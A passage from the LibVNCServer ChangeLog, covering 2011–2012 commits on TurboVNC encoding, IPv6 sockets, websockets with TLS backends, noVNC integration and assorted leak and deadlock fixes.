1187 encoders cannot be enabled simultaneously. Compatibility: In *most* cases, a TurboVNC-enabled viewer is fully compatible with
1188 a TightVNC server, and vice versa. TurboVNC supports
1189 pseudo-encodings for specifying a fine-grained (1-100) quality scale
1190 and specifying chrominance subsampling. If a TurboVNC viewer sends
1191 those to a TightVNC server, then the TightVNC server ignores them,
1192 so the TurboVNC viewer also sends the quality on a 0-9 scale that
1193 the TightVNC server can understand. Similarly, the TurboVNC server
1194 checks first for fine-grained quality and subsampling
1195 pseudo-encodings from the viewer, and failing to receive those, it
1196 then checks for the TightVNC 0-9 quality pseudo-encoding. There is one case in which the two systems are not compatible, and
1197 that is when a TightVNC or TigerVNC viewer requests compression
1198 level 0 without JPEG from a TurboVNC server. For performance
1199 reasons, this causes the TurboVNC server to send images directly to
1200 the viewer, bypassing Zlib. When the TurboVNC server does this, it
1201 also sets bits 7-4 in the compression control byte to rfbTightNoZlib
1202 (0x0A), which is unfortunately the same value as rfbTightPng. Older
1203 TightVNC viewers that don't handle PNG will assume that the stream
1204 is uncompressed but still encapsulated in a Zlib structure, whereas
1205 newer PNG-supporting TightVNC viewers will assume that the stream is
1206 PNG. In either case, the viewer will probably crash. Since most
1207 VNC viewers don't expose compression level 0 in the GUI, this is a
1208 relatively rare situation. Description of changes: configure.ac -- Added support for libjpeg-turbo. If passed an
1209 argument of --with-turbovnc, configure will now run (or, if cross-compiling, just link) a test program that determines
1210 whether the libjpeg library being used is libjpeg-turbo.
1211 libjpeg-turbo must be used when building the TurboVNC encoder,
1212 because the TurboVNC encoder relies on the libjpeg-turbo
1213 colorspace extensions in order to compress images directly out of
1214 the framebuffer (which may be, for instance, BGRA rather than RGB.)
1215 libjpeg-turbo can optionally be used with the TightVNC encoder as
1216 well, but the speedup will only be marginal (the report linked above
1217 explains why in more detail, but basically it's because of Amdahl's
1218 Law. The TightVNC encoder was designed with the assumption that
1219 JPEG had a very high CPU cost, and thus JPEG is used only
1220 sparingly.) -- Added a new configure variable, JPEG_LDFLAGS. This
1221 is necessitated by the fact that libjpeg-turbo often distributes
1222 libjpeg.a and libjpeg.so in /opt/libjpeg-turbo/lib32 or
1223 /opt/libjpeg-turbo/lib64, and many people prefer to statically
1224 link with it. Thus, more flexibility is needed than is provided by
1225 --with-jpeg. If JPEG_LDFLAGS is specified, then it overrides the
1226 changes to LDFLAGS enacted by --with-jpeg (but --with-jpeg is
1227 still used to set the include path.) The addition of JPEG_LDFLAGS
1228 necessitated replacing AC_CHECK_LIB with AC_LINK_IFELSE (because
1229 AC_CHECK_LIB automatically sets LIBS to -ljpeg, which is not what we
1230 want if we're, for instance, linking statically with libjpeg-turbo.)
1231 -- configure does not check for PNG support if TurboVNC encoding is
1232 enabled. This prevents the rfbSendRectEncodingTightPng() function
1233 from being compiled in, since the TurboVNC encoder doesn't (and
1234 can't) support it. common/turbojpeg.c, common/turbojpeg.h -- TurboJPEG is a simple API
1235 used to compress and decompress JPEG images in memory. It was
1236 originally implemented because it was desirable to use different
1237 types of underlying technologies to compress JPEG on different
1238 platforms (mediaLib on SPARC, Quicktime on PPC Macs, Intel
1239 Performance Primitives, etc.) These days, however, libjpeg-turbo
1240 is the only underlying technology used by TurboVNC, so TurboJPEG's
1241 purpose is largely just code simplicity and flexibility. Thus,
1242 since there is no real need for libvncserver to use any technology
1243 other than libjpeg-turbo for compressing JPEG, the TurboJPEG wrapper
1244 for libjpeg-turbo has been included in-tree so that libvncserver can
1245 be directly linked with libjpeg-turbo. This is convenient because
1246 many modern Linux distros (Fedora, Ubuntu, etc.) now ship
1247 libjpeg-turbo as their default libjpeg library. libvncserver/rfbserver.c -- Added logic to check for the TurboVNC
1248 fine-grained quality level and subsampling encodings and to map
1249 Tight (0-9) quality levels to appropriate fine-grained quality level
1250 and subsampling values if communicating with a TightVNC/TigerVNC
1251 viewer. libvncserver/turbo.c -- TurboVNC encoder (compiled instead of
1252 libvncserver/tight.c) rfb/rfb.h -- Added support for the TurboVNC subsampling level rfb/rfbproto.h -- Added constants for the TurboVNC fine quality
1253 level and subsampling encodings as well as the rfbTightNoZlib
1254 constant and notes on its usage.
1255
12562012-03-10 Christian Beier <dontmind@freeshell.org>
1257
1258 * client_examples/SDLvncviewer.c, libvncclient/listen.c,
1259 libvncclient/sockets.c, libvncclient/vncviewer.c,
1260 libvncserver/sockets.c, rfb/rfbclient.h: IPv6 support for
1261 LibVNCServer, part three: make reverse connections IPv6-capable. Besided making libvncserver reverseVNC IPv6-aware, this introduces
1262 some changes on the client side as well to make clients listen on
1263 IPv6 sockets, too. Like the server side, this also uses a
1264 separate-socket approach.
1265
12662012-03-10 Christian Beier <dontmind@freeshell.org>
1267
1268 * libvncserver/sockets.c: IPv6 support for LibVNCServer, part
1269 onepointseven: Plug a memleak. We have to properly free the addrinfo struct when jumping out of the
1270 function.
1271
12722012-03-09 Christian Beier <dontmind@freeshell.org>
1273
1274 * webclients/index.vnc: IPv6 support for LibVNCServer, part
1275 twopointone: properly surround IPv6 addresses with [] for noVNC URL. Some browsers omit the square brackets in
1276 document.location.hostname, so add them if missing.
1277
12782012-02-27 Christian Beier <dontmind@freeshell.org>
1279
1280 * libvncserver/cargs.c, libvncserver/httpd.c, libvncserver/main.c,
1281 rfb/rfb.h: IPv6 support for LibVNCServer, part two: Let the http
1282 server listen on IPv6, too. As done with the RFB sockets, this uses a separate-socket approach
1283 as well.
1284
12852012-02-27 Christian Beier <dontmind@freeshell.org>
1286
1287 * libvncserver/main.c: IPv6 support for LibVNCServer, part
1288 onepointsix: fix a small logic error. Without this, we would have gotten a stale IPv4 socket in a race
1289 condition.
1290
12912012-02-27 Christian Beier <dontmind@freeshell.org>
1292
1293 * libvncserver/rfbserver.c, libvncserver/sockets.c: IPv6 support for
1294 LibVNCServer, part onepointfive: Fix compilation with IPv6 missing. There was an oversight that crept in...
1295
12962012-02-20 Christian Beier <dontmind@freeshell.org>
1297
1298 * libvncserver/cargs.c, libvncserver/main.c,
1299 libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: IPv6
1300 support for LibVNCServer, part one: accept IPv4 and IPv6
1301 connections. This uses a separate-socket approach since there are systems that do
1302 not support dual binding sockets under *any* circumstances, for
1303 instance OpenBSD. Using separate sockets for IPv4 and IPv6 is thus
1304 more portable than having a v6 socket handle v4 connections as well. Signed-off-by: Christian Beier <dontmind@freeshell.org>
1305
13062012-02-11 Mateus Cesar Groess <mateuscg@gmail.com>
1307
1308 * AUTHORS, client_examples/Makefile.am,
1309 client_examples/gtkvncviewer.c, configure.ac: Here is a port of
1310 SDLvncviewer to GTK+2. I think it may encourage people to implement more features for the
1311 viewer, because a GTK GUI seems to be easier to implement than a SDL
1312 one (and it is more integrated with the major Linux Desktops out
1313 there). Signed-off-by: Christian Beier <dontmind@freeshell.org>
1314
13152012-02-11 Christian Beier <dontmind@freeshell.org>
1316
1317 * AUTHORS: Update AUTHORS.
1318
13192012-02-10 Kyle J. McKay <mackyle@gmail.com>
1320
1321 * libvncserver/auth.c, libvncserver/rfbserver.c, rfb/rfb.h: Support
1322 Mac OS X vnc client with no password Support connections from the Mac OS X built-in VNC client to
1323 LibVNCServers running with no password and advertising a server
1324 version of 3.7 or greater.
1325
13262012-02-04 Johannes Schindelin <johannes.schindelin@gmx.de>
1327
1328 * AUTHORS: Add Luca to the AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1329
13302012-02-04 Luca Stauble <gnekoz@gmail.com>
1331
1332 * libvncclient/listen.c, libvncclient/sockets.c,
1333 libvncclient/vncviewer.c, rfb/rfbclient.h: Add an optional parameter
1334 to specify the ip address for reverse connections For security reasons, it can be important to limit which IP
1335 addresses a LibVNCClient-based client should listen for reverse
1336 connections. This commit adds that option. To preserve binary backwards-compatibility, the field was added to
1337 the end of the rfbclient struct, and the function ListenAtTcpPort
1338 retains its signature (but calls the new ListenAtTcpPortAndAddress). [jes: shortened the commit subject, added a longer explanation in
1339 the commit body and adjusted style] Signed-off-by: Luca Stauble <gnekoz@gmail.com> Signed-off-by:
1340 Johannes Schindelin <johannes.schindelin@gmx.de>
1341
13422012-01-12 Gernot Tenchio <gernot.tenchio@securepoint.de>
1343
1344 * libvncserver/websockets.c: websockets: removed debug message
1345
13462012-01-12 Gernot Tenchio <gernot.tenchio@securepoint.de>
1347
1348 * libvncserver/websockets.c: websockets: restore errno after logging
1349 an error
1350
13512012-01-12 Gernot Tenchio <gernot.tenchio@securepoint.de>
1352
1353 * CMakeLists.txt: cmake: adapted to latest websocket crypto changes
1354
13552011-12-15 Christian Beier <dontmind@freeshell.org>
1356
1357 * rfb/rfbclient.h: Small changes to LibNVCClient doxygen
1358 documentation.
1359
13602011-12-01 Christian Beier <dontmind@freeshell.org>
1361
1362 * libvncserver/Makefile.am: Fix build error when libpng is
1363 available, but libjpeg is not. The png stuff in tight.c depends on code in tight.c that uses
1364 libjpeg features. We could probably seperate that, but for now the
1365 dependency for 'tight' goes: PNG depends on JPEG depends on ZLIB. This is reflected in Makefile.am now. NB: Building tight.c with JPEG but without PNG is still possible, but nor the other way around.
1366
13672011-12-01 Christian Beier <dontmind@freeshell.org>
1368
1369 * configure.ac: Use AM_SILENT_RULES only when it's actually
1370 available. Otherwise building breaks with older make versions. Happens on OS X
1371 10.6 for instance.
1372
13732011-11-09 Christian Beier <dontmind@freeshell.org>
1374
1375 * configure.ac, webclients/Makefile.am, webclients/index.vnc,
1376 webclients/java-applet/Makefile.am,
1377 webclients/java-applet/javaviewer.pseudo_proxy.patch,
1378 webclients/java-applet/ssl/Makefile.am,
1379 webclients/java-applet/ssl/README,
1380 webclients/java-applet/ssl/index.vnc,
1381 webclients/java-applet/ssl/onetimekey,
1382 webclients/java-applet/ssl/proxy.vnc,
1383 webclients/java-applet/ssl/ss_vncviewer,
1384 webclients/java-applet/ssl/tightvnc-1.3dev7_javasrc-vncviewer-curso
1385 r-colors+no-tab-traversal.patch,
1386 webclients/java-applet/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.p
1387 atch, webclients/java-applet/ssl/ultra.vnc,
1388 webclients/java-applet/ssl/ultraproxy.vnc,
1389 webclients/java-applet/ssl/ultrasigned.vnc,
1390 webclients/java-applet/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
1391 webclients/javaviewer.pseudo_proxy.patch,
1392 webclients/ssl/Makefile.am, webclients/ssl/README,
1393 webclients/ssl/index.vnc, webclients/ssl/onetimekey,
1394 webclients/ssl/proxy.vnc, webclients/ssl/ss_vncviewer,
1395 webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-
1396 tab-traversal.patch,
1397 webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
1398 webclients/ssl/ultra.vnc, webclients/ssl/ultraproxy.vnc,
1399 webclients/ssl/ultrasigned.vnc,
1400 webclients/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Move the java
1401 stuff into webclients/java-applet.
1402
14032011-11-09 Christian Beier <dontmind@freeshell.org>
1404
1405 * LibVNCServer.spec.in, Makefile.am, README, classes/Makefile.am,
1406 classes/index.vnc, classes/javaviewer.pseudo_proxy.patch,
1407 classes/novnc/LICENSE.txt, classes/novnc/README.md,
1408 classes/novnc/favicon.ico, classes/novnc/include/base.css,
1409 classes/novnc/include/base64.js, classes/novnc/include/black.css,
1410 classes/novnc/include/blue.css, classes/novnc/include/des.js,
1411 classes/novnc/include/display.js, classes/novnc/include/input.js,
1412 classes/novnc/include/logo.js, classes/novnc/include/playback.js,
1413 classes/novnc/include/rfb.js, classes/novnc/include/ui.js,
1414 classes/novnc/include/util.js, classes/novnc/include/vnc.js,
1415 classes/novnc/include/web-socket-js/README.txt,
1416 classes/novnc/include/web-socket-js/swfobject.js,
1417 classes/novnc/include/web-socket-js/web_socket.js,
1418 classes/novnc/include/websock.js, classes/novnc/include/webutil.js,
1419 classes/novnc/vnc.html, classes/novnc/vnc_auto.html,
1420 classes/ssl/Makefile.am, classes/ssl/README, classes/ssl/index.vnc,
1421 classes/ssl/onetimekey, classes/ssl/proxy.vnc,
1422 classes/ssl/ss_vncviewer,
1423 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab
1424 -traversal.patch,
1425 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
1426 classes/ssl/ultra.vnc, classes/ssl/ultraproxy.vnc,
1427 classes/ssl/ultrasigned.vnc,
1428 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, configure.ac,
1429 examples/example.c, examples/pnmshow.c, examples/pnmshow24.c,
1430 rfb/rfb.h, webclients/Makefile.am, webclients/index.vnc,
1431 webclients/javaviewer.pseudo_proxy.patch,
1432 webclients/novnc/LICENSE.txt, webclients/novnc/README.md,
1433 webclients/novnc/favicon.ico, webclients/novnc/include/base.css,
1434 webclients/novnc/include/base64.js,
1435 webclients/novnc/include/black.css,
1436 webclients/novnc/include/blue.css, webclients/novnc/include/des.js,
1437 webclients/novnc/include/display.js,
1438 webclients/novnc/include/input.js,
1439 webclients/novnc/include/logo.js,
1440 webclients/novnc/include/playback.js,
1441 webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
1442 webclients/novnc/include/util.js, webclients/novnc/include/vnc.js,
1443 webclients/novnc/include/web-socket-js/README.txt,
1444 webclients/novnc/include/web-socket-js/swfobject.js,
1445 webclients/novnc/include/web-socket-js/web_socket.js,
1446 webclients/novnc/include/websock.js,
1447 webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
1448 webclients/novnc/vnc_auto.html, webclients/ssl/Makefile.am,
1449 webclients/ssl/README, webclients/ssl/index.vnc,
1450 webclients/ssl/onetimekey, webclients/ssl/proxy.vnc,
1451 webclients/ssl/ss_vncviewer,
1452 webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-
1453 tab-traversal.patch,
1454 webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
1455 webclients/ssl/ultra.vnc, webclients/ssl/ultraproxy.vnc,
1456 webclients/ssl/ultrasigned.vnc,
1457 webclients/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Rename
1458 'classes' dir to 'webclients'.
1459
14602011-11-09 Christian Beier <dontmind@freeshell.org>
1461
1462 * classes/index.vnc, libvncserver/httpd.c: novnc client: use the
1463 client's notion about the server hostname instead of what the server
1464 thinks.
1465
14662011-11-09 Christian Beier <dontmind@freeshell.org>
1467
1468 * classes/index.vnc: Fix tiny typo.
1469
14702011-11-09 Christian Beier <dontmind@freeshell.org>
1471
1472 * NEWS: Add 0.9.8.2 NEWS entry.
1473
14742011-11-09 Christian Beier <dontmind@freeshell.org>
1475
1476 * libvncclient/rfbproto.c: When GetCredential() callback is not set,
1477 don't use authentications requiring it. The auth methods that employ Getcredential() will only be used if
1478 the client's GetCredential callback is actually set.
1479
14802011-10-12 Christian Beier <dontmind@freeshell.org>
1481
1482 * ChangeLog: Update ChangeLog for 0.9.8.1.
1483
14842011-10-12 Christian Beier <dontmind@freeshell.org>
1485
1486 * CMakeLists.txt, NEWS, configure.ac: Update version number in
1487 autotools && cmake, NEWS entry.
1488
14892011-10-26 Peter Watkins <watkipet@gmail.com>
1490
1491 * rfb/rfbclient.h: Added comments.
1492
14932011-10-26 Christian Beier <dontmind@freeshell.org>
1494
1495 * libvncserver/rfbserver.c: Fix deadlock in threaded mode when using
1496 nested rfbClientIteratorNext() calls. Lengthy explanation follows... First, the scenario before this patch: We have three clients 1,2,3 connected. The main thread loops through
1497 them using rfbClientIteratorNext() (loop L1) and is currently at
1498 client 2 i.e. client 2's cl_2->refCount is 1. At this point we need
1499 to loop again through the clients, with cl_2->refCount == 1, i.e. do
1500 a loop L2 nested within loop L1. BUT: Now client 2 disconnects, it's clientInput thread terminates
1501 its clientOutput thread and calls rfbClientConnectionGone(). This
1502 LOCKs clientListMutex and WAITs for cl_2->refCount to become 0. This
1503 means this thread waits for the main thread to release cl_2.
1504 Waiting, with clientListMutex LOCKed! Meanwhile, the main thread is about to begin the inner
1505 rfbClientIteratorNext() loop L2. The first call to
1506 rfbClientIteratorNext() LOCKs clientListMutex. BAAM. This mutex is
1507 locked by cl2's clientInput thread and is only released when
1508 cl_2->refCount becomes 0. The main thread would decrement
1509 cl_2->refCount when it would continue with loop L1. But it's waiting
1510 for cl2's clientInput thread to release clientListMutex. Which never
1511 happens since this one's waiting for the main thread to decrement
1512 cl_2->refCount. DEADLOCK. Now, situation with this patch: Same as above, but when client 2 disconnects it's clientInput thread
1513 rfbClientConnectionGone(). This again LOCKs clientListMutex, removes
1514 cl_2 from the linked list and UNLOCKS clientListMutex. The WAIT for
1515 cl_2->refCount to become 0 is _after_ that. Waiting, with
1516 clientListMutex UNLOCKed! Therefore, the main thread can continue, do the inner loop L2 (now
1517 only looping through 1,3 - 2 was removed from the linked list) and
1518 continue with loop L1, finally decrementing cl_2->refCount, allowing
1519 cl2's clientInput thread to continue and terminate. The resources
1520 held by cl2 are not free()'d by rfbClientConnectionGone until
1521 cl2->refCount becomes 0, i.e. loop L1 has released cl2.
1522
15232011-10-16 Johannes Schindelin <johannes.schindelin@gmx.de>
1524
1525 * AUTHORS: Update AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1526
15272011-10-16 George Fleury <gfleury@gmail.com>
1528
1529 * libvncserver/rfbserver.c: Fix memory leak I was debbuging some code tonight and i found a pointer that is not
1530 been freed, so i think there is maybe a memory leak, so it is... there is the malloc caller reverse order: ( malloc cl->statEncList ) <- rfbStatLookupEncoding <- rfbStatRecordEncodingSent <- rfbSendCursorPos <- rfbSendFramebufferUpdate <- rfbProcessEvents I didnt look the whole libvncserver api, but i am using
1531 rfbReverseConnection with rfbProcessEvents, and then when the client
1532 connection dies, i am calling a rfbShutdownServer and
1533 rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isnt been
1534 freed. So to free the stats i added a rfbResetStats(cl) after
1535 rfbPrintStats(cl) at rfbClientConnectionGone in rfbserver.c before
1536 free the cl pointer. (at rfbserver.c line 555). And this, obviously,
1537 is correcting the memory leak. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1538
15392011-10-08 Johannes Schindelin <johannes.schindelin@gmx.de>
1540
1541 * rfb/rfbclient.h: Hopefully fix the crash when updating from 0.9.7
1542 or earlier For backwards-compatibility reasons, we can only add struct members
1543 to the end. That way, existing callers still can use newer
1544 libraries, as the structs are always allocated by the library (and
1545 therefore guaranteed to have the correct size) and still rely on the
1546 same position of the parts the callers know about. Reported by Luca Falavigna. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1547
15482011-10-09 Johannes Schindelin <johannes.schindelin@gmx.de>
1549
1550 * client_examples/SDLvncviewer.c: SDLvncviewer: make it resizable by
1551 default I got annoyed having to specify -resizable all the time; I never use
1552 it in another mode anymore, since I am on a netbook. The option -no-resizable was added to be able to switch off that
1553 feature. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1554
15552011-10-06 Christian Beier <dontmind@freeshell.org>
1556
1557 * libvncserver/httpd.c: httpd: fix sending of binary data such as
1558 images. We do this simply by omitting the content-type and let the browser
1559 decide upon the mime-type of the sent file. Only exception is
1560 'index.vnc', where we do set the content-type since some browsers
1561 fail to detect it's html when it's ending in '.vnc' Also, remove superfluous #defines. We close the connection always.
1562
15632011-10-06 Christian Beier <dontmind@freeshell.org>
1564
1565 * classes/index.vnc: Fix typo && use proper website.
1566
15672011-10-04 Christian Beier <dontmind@freeshell.org>
1568
1569 * classes/index.vnc, classes/novnc/LICENSE.txt,
1570 classes/novnc/README.md, classes/novnc/favicon.ico,
1571 classes/novnc/include/base.css, classes/novnc/include/base64.js,
1572 classes/novnc/include/black.css, classes/novnc/include/blue.css,
1573 classes/novnc/include/des.js, classes/novnc/include/display.js,
1574 classes/novnc/include/input.js, classes/novnc/include/logo.js,
1575 classes/novnc/include/playback.js, classes/novnc/include/rfb.js,
1576 classes/novnc/include/ui.js, classes/novnc/include/util.js,
1577 classes/novnc/include/vnc.js,
1578 classes/novnc/include/web-socket-js/README.txt,
1579 classes/novnc/include/web-socket-js/swfobject.js,
1580 classes/novnc/include/web-socket-js/web_socket.js,
1581 classes/novnc/include/websock.js, classes/novnc/include/webutil.js,
1582 classes/novnc/vnc.html, classes/novnc/vnc_auto.html,
1583 libvncserver/httpd.c: Add noVNC HTML5 client connect possibility to
1584 our http server. Pure JavaScript, no Java plugin required anymore! (But a recent
1585 browser...)
1586
15872011-10-04 Christian Beier <dontmind@freeshell.org>
1588
1589 * configure.ac: This build warning is a libvncserver one, not for
1590 x11vnc. Also, make it warn more generally when no known encryption lib is
1591 available.
1592
15932011-09-21 Gernot Tenchio <gernot@tenchio.de>
1594
1595 * common/md5.c: md5: forced to use function names with leading
1596 underscores Commented out the surrounding '#ifdef _LIBC' to build md5.o with
1597 leading underscores. This is required to match the prototypes
1598 defined in md5.h.
1599
16002011-09-20 Gernot Tenchio <gernot.tenchio@securepoint.de>
1601
1602 * libvncserver/rfbcrypto_included.c: rfbcrypto_included: fix c&p
1603 errors
1604
16052011-09-20 Gernot Tenchio <gernot@tenchio.de>
1606
1607 * libvncserver/rfbcrypto_polarssl.c: rfbcrypto_polarssl: it was way
1608 to late last night...
1609
16102011-09-18 Gernot Tenchio <gernot@tenchio.de>
1611
1612 * libvncserver/Makefile.am, libvncserver/rfbcrypto.h,
1613 libvncserver/rfbcrypto_gnutls.c, libvncserver/rfbcrypto_included.c,
1614 libvncserver/rfbcrypto_openssl.c,
1615 libvncserver/rfbcrypto_polarssl.c, libvncserver/websockets.c: Add
1616 support for different crypto implementations
1617
16182011-09-11 Christian Beier <dontmind@freeshell.org>
1619
1620 * configure.ac, libvncserver/Makefile.am: Autotools: Fix OpenSSL and
1621 GnuTLS advertisement.
1622
16232011-09-11 Christian Beier <dontmind@freeshell.org>
1624
1625 * libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init. gnutls_certificate_set_x509_trust_file() returns the number of
1626 processed certs and _not_ GNUTLS_E_SUCCESS (0) on success!
1627
16282011-09-11 Christian Beier <dontmind@freeshell.org>
1629
1630 * AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the
1631 websocket guys.
1632
16332011-08-28 Gernot Tenchio <gernot@tenchio.de>
1634
1635 * configure.ac: configure: Add AM_SILENT_RULES Working with “silent make mode” makes debugging a lot of easier
1636 since warnings wont shadowed by useless compiler noise
1637
16382011-08-27 Gernot Tenchio <gernot@tenchio.de>
1639
1640 * CMakeLists.txt: cmake: set SOVERSION
1641
16422011-09-11 Christian Beier <dontmind@freeshell.org>
1643
1644 * configure.ac, libvncserver/Makefile.am: Autotools: Fix OpenSSL and
1645 GnuTLS advertisement.
1646
16472011-09-11 Christian Beier <dontmind@freeshell.org>
1648
1649 * libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init. gnutls_certificate_set_x509_trust_file() returns the number of
1650 processed certs and _not_ GNUTLS_E_SUCCESS (0) on success!
1651
16522011-09-11 Christian Beier <dontmind@freeshell.org>
1653
1654 * AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the
1655 websocket guys.
1656
16572011-09-02 Gernot Tenchio <gernot@tenchio.de>
1658
1659 * libvncserver/websockets.c: websocket: Use a single buffer for
1660 both, encoding and decoding
1661
16622011-08-30 Gernot Tenchio <gernot.tenchio@securepoint.de>
1663
1664 * libvncserver/rfbssl_gnutls.c: rfbssl_gnutls: Merge
1665 rfbssl_peek/rfbssl_read into one function
1666
16672011-08-30 Gernot Tenchio <gernot.tenchio@securepoint.de>
1668
1669 * libvncserver/websockets.c: websockets: fix
1670 webSocketCheckDisconnect() Do not consume the peeked data if no close frame was detected.
1671
16722011-08-29 Gernot Tenchio <gernot.tenchio@securepoint.de>
1673
1674 * libvncserver/websockets.c: websockets: use 32bit Xor in
1675 webSocketsDecodeHybi()
1676
16772011-08-29 Gernot Tenchio <gernot.tenchio@securepoint.de>
1678
1679 * CMakeLists.txt: cmake: use sha1.c for websocket builds
1680
16812011-08-25 Gernot Tenchio <gernot@tenchio.de>
1682
1683 * libvncserver/websockets.c: websockets: nothing to worry about
1684
16852011-08-25 Gernot Tenchio <gernot@tenchio.de>
1686
1687 * libvncserver/websockets.c: websockets: added gcrypt based sha1
1688 digest funtion
1689
16902011-08-25 Joel Martin <jmartin@sentryds.com>
1691
1692 * common/sha1.c, common/sha1.h, libvncserver/Makefile.am,
1693 libvncserver/websockets.c: Add sha1.*. Remove UTF-8 encode. Protocol
1694 handling. Add common/sha1.h and common/sha1.c so that we have the SHA routines
1695 even if openssl is not available. From the IETF SHA RFC example
1696 code. Remove the UTF-8 encoding hack. This was really just an experiment. If the protocol passed in the handshake has "binary" then don't
1697 base64 encode for the HyBi protocol. This will allow noVNC to
1698 request the binary data be passed raw and not base64 encoded.
1699 Unfortunately, the client doesn't speak first in VNC protocol (bad
1700 original design). If it did then we could determine whether to
1701 base64 encode or not based on the first HyBi frame from the client
1702 and whether the binary bit is set or not. Oh well. Misc Cleanup: - Always free response and buf in handshake routine. - Remove some unused variables.
1703
17042011-08-25 Gernot Tenchio <gernot@tenchio.de>
1705
1706 * CMakeLists.txt: cmake: make some noise
1707
17082011-08-25 Gernot Tenchio <gernot@tenchio.de>
1709
1710 * libvncserver/rfbssl_gnutls.c: websockets: remove warning on 64bit
1711 platforms
1712
17132011-08-25 Gernot Tenchio <gernot.tenchio@securepoint.de>
1714
1715 * libvncserver/websockets.c: websockets: Removed debugging left over
1716
17172011-08-25 Gernot Tenchio <gernot.tenchio@securepoint.de>
1718
1719 * libvncserver/websockets.c: websockets: Use callback functions for
1720 encode/decode
1721
17222011-08-25 Gernot Tenchio <gernot.tenchio@securepoint.de>
1723
1724 * libvncserver/rfbserver.c, libvncserver/sockets.c,
1725 libvncserver/websockets.c, rfb/rfb.h: websockets: Move Hixie
1726 disconnect hack to websockets.c Move the hixie disconnect hack to websockets.c. Removed the
1727 remaining websockets vars from rfbClientPtr, so all websockets stuff
1728 is hidden behind an opaque pointer.
1729
17302011-08-25 Gernot Tenchio <gernot.tenchio@securepoint.de>
1731
1732 * libvncserver/rfbserver.c, libvncserver/sockets.c,
1733 libvncserver/websockets.c, rfb/rfb.h: websockets: Initial HyBi
1734 support
1735
17362011-08-16 Gernot Tenchio <gernot.tenchio@securepoint.de>
1737
1738 * CMakeLists.txt: cmake: don't link sdl libs to vnc libraries Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1739
17402011-08-16 Gernot Tenchio <gernot.tenchio@securepoint.de>
1741
1742 * libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h:
1743 websockets: Add wspath member to rfbClientRec Added wspath member to rfbClientRec which holds the path component
1744 of the initial websocket request. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1745
17462011-08-16 Gernot Tenchio <gernot.tenchio@securepoint.de>
1747
1748 * CMakeLists.txt, common/md5.c, common/md5.h,
1749 libvncserver/Makefile.am, libvncserver/md5.c, libvncserver/md5.h:
1750 Move libvncserver/md5* to common Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1751
17522011-08-16 Gernot Tenchio <gernot.tenchio@securepoint.de>
1753
1754 * CMakeLists.txt, rfb/rfbconfig.h.cmake: websockets: Add Websockets
1755 support to CMakeLists.txt Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1756
17572011-08-16 Joel Martin <github@martintribe.org>
1758
1759 * libvncserver/Makefile.am, libvncserver/cargs.c: websockets: Add
1760 SSL cert command line options. - Add --sslcertfile and --sslkeyfile. These should really be
1761 combined with the existing x11vnc command line options for SSL
1762 support. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1763
17642011-08-17 Gernot Tenchio <gernot.tenchio@securepoint.de>
1765
1766 * configure.ac, libvncserver/Makefile.am,
1767 libvncserver/rfbssl_gnutls.c, libvncserver/rfbssl_openssl.c:
1768 websockets: add GnuTLS and OpenSSL support For now, only OpenSSL support is activated through configure, since
1769 GnuTLS is only used in LibVNCClient. [jes: separated this out from the commit adding encryption support,
1770 added autoconf support.] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1771
17722011-08-16 Gernot Tenchio <gernot.tenchio@securepoint.de>
1773
1774 * libvncserver/Makefile.am, libvncserver/rfbserver.c,
1775 libvncserver/rfbssl.h, libvncserver/rfbssl_none.c,
1776 libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h:
1777 websockets: Add encryption support [jes: moved out GnuTLS and OpenSSL support, added a dummy support,
1778 to separate changes better, and to keep things compiling] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1779
17802011-08-16 Joel Martin <jmartin@sentryds.com>
1781
1782 * libvncserver/websockets.c: websockets: Properly parse Hixie-76
1783 handshake. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1784
17852011-08-16 Joel Martin <github@martintribe.org>
1786
1787 * libvncserver/rfbserver.c, libvncserver/websockets.c: websockets:
1788 Add UTF-8 encoding support. This is not completely standard UTF-8 encoding. Only code points
1789 0-255 are encoded and never encoded to more than two octets. Since
1790 '\x00' is a WebSockets framing character, it's easier for all
1791 parties to encode zero as '\xc4\x80', i.e. 194+128, i.e. UTF-8 256. This means that a random stream will be slightly more than 50%
1792 larger using this encoding scheme. But it's easy CPU-wise for client
1793 and server to decode/encode. This is especially important for
1794 clients written in languages that have weak bitops, like Javascript
1795 (i.e. the noVNC client). Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1796
17972011-08-16 Joel Martin <github@martintribe.org>
1798
